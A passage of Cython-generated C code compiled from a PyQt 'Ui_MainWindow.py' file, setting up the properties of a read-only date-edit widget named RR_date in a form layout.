__Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":497 * self.label_39.setObjectName("label_39") * self.formLayout_3.setWidget(11, QtWidgets.QFormLayout.LabelRole, self.label_39) * self.RR_date = QtWidgets.QDateEdit(self.formLayoutWidget_3) # <<<<<<<<<<<<<< * self.RR_date.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor)) * self.RR_date.setToolTip("") */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 497, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QDateEdit); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 497, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 497, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 497, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 497, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 497, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 497, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 497, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_RR_date, __pyx_t_7) < 0) __PYX_ERR(0, 497, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":498 * self.formLayout_3.setWidget(11, QtWidgets.QFormLayout.LabelRole, self.label_39) * self.RR_date = QtWidgets.QDateEdit(self.formLayoutWidget_3) * self.RR_date.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor)) # <<<<<<<<<<<<<< * self.RR_date.setToolTip("") * self.RR_date.setStatusTip("") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_date); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 498, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setCursor); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 498, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtGui); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 498, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QCursor); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 498, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 498, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Qt); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 498, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_ArrowCursor); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 498, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 498, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 498, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 498, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 498, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 498, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 498, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 498, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 498, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 498, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_9, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 498, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":499 * self.RR_date = QtWidgets.QDateEdit(self.formLayoutWidget_3) * self.RR_date.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor)) * self.RR_date.setToolTip("") # <<<<<<<<<<<<<< * self.RR_date.setStatusTip("") * self.RR_date.setAccessibleName("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_date); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 499, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 499, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__311, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 499, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":500 * self.RR_date.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor)) * self.RR_date.setToolTip("") * self.RR_date.setStatusTip("") # <<<<<<<<<<<<<< * self.RR_date.setAccessibleName("") * self.RR_date.setAccessibleDescription("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_date); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 500, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 500, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__312, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 500, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":501 * self.RR_date.setToolTip("") * self.RR_date.setStatusTip("") * self.RR_date.setAccessibleName("") # <<<<<<<<<<<<<< * self.RR_date.setAccessibleDescription("") * self.RR_date.setInputMethodHints(QtCore.Qt.ImhNone) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_date); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 501, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 501, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__313, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 501, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":502 * self.RR_date.setStatusTip("") * self.RR_date.setAccessibleName("") * self.RR_date.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RR_date.setInputMethodHints(QtCore.Qt.ImhNone) * self.RR_date.setFrame(False) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_date); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 502, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 502, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__314, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 502, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":503 * self.RR_date.setAccessibleName("") * self.RR_date.setAccessibleDescription("") * self.RR_date.setInputMethodHints(QtCore.Qt.ImhNone) # <<<<<<<<<<<<<< * self.RR_date.setFrame(False) * self.RR_date.setReadOnly(True) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_date); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 503, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setInputMethodHints); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 503, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 503, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_Qt); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 503, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_ImhNone); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 503, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 503, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 503, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 503, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 503, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 503, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":504 * self.RR_date.setAccessibleDescription("") * self.RR_date.setInputMethodHints(QtCore.Qt.ImhNone) * self.RR_date.setFrame(False) # <<<<<<<<<<<<<< * self.RR_date.setReadOnly(True) * self.RR_date.setButtonSymbols(QtWidgets.QAbstractSpinBox.NoButtons) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_date); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 504, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setFrame); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 504, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__315, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 504, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":505 * self.RR_date.setInputMethodHints(QtCore.Qt.ImhNone) * self.RR_date.setFrame(False) * self.RR_date.setReadOnly(True) # <<<<<<<<<<<<<< * self.RR_date.setButtonSymbols(QtWidgets.QAbstractSpinBox.NoButtons) * self.RR_date.setSpecialValueText("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_date); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 505, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setReadOnly); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 505, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__316, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 505, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":506 * self.RR_date.setFrame(False) * self.RR_date.setReadOnly(True) * self.RR_date.setButtonSymbols(QtWidgets.QAbstractSpinBox.NoButtons) # <<<<<<<<<<<<<< * self.RR_date.setSpecialValueText("") * self.RR_date.setKeyboardTracking(False) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_date); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 506, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_setButtonSymbols); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 506, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 506, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QAbstractSpinBox); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 506, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_NoButtons); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 506, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 506, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_9}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 506, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_9}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 506, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 506, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 506, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":507 * self.RR_date.setReadOnly(True) * self.RR_date.setButtonSymbols(QtWidgets.QAbstractSpinBox.NoButtons) * self.RR_date.setSpecialValueText("") # <<<<<<<<<<<<<< * self.RR_date.setKeyboardTracking(False) * self.RR_date.setMaximumDateTime(QtCore.QDateTime(QtCore.QDate(7918, 1, 1), QtCore.QTime(23, 59, 59))) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_date); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 507, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setSpecialValueText); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 507, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__317, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 507, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":508 * self.RR_date.setButtonSymbols(QtWidgets.QAbstractSpinBox.NoButtons) * self.RR_date.setSpecialValueText("") * self.RR_date.setKeyboardTracking(False) # <<<<<<<<<<<<<< * self.RR_date.setMaximumDateTime(QtCore.QDateTime(QtCore.QDate(7918, 1, 1), QtCore.QTime(23, 59, 59))) * self.RR_date.setMaximumDate(QtCore.QDate(7918, 1, 1)) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_date); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 508, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setKeyboardTracking); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 508, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__318, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 508, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":509 * self.RR_date.setSpecialValueText("") * self.RR_date.setKeyboardTracking(False) * 